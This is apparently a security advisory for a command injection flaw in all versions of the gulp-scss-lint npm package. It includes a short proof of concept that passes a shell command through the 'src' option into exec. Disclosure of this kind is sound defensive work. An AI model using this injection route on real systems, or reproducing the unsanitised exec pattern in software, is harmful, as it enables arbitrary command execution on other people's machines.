Command Injection

Affecting gulp-scss-lint package, ALL versions

Overview

gulp-scss-lint is a Lint your .scss files.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands to the exec function located in src/command.js via the provided options.

PoC by JHU System Security Lab

var root = require("gulp-scss-lint");
var attack_code = "echo vulnerable > create.txt";
var opt = {
  "src": attack_code
}
root(opt);

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub PR
• Vulnerable Code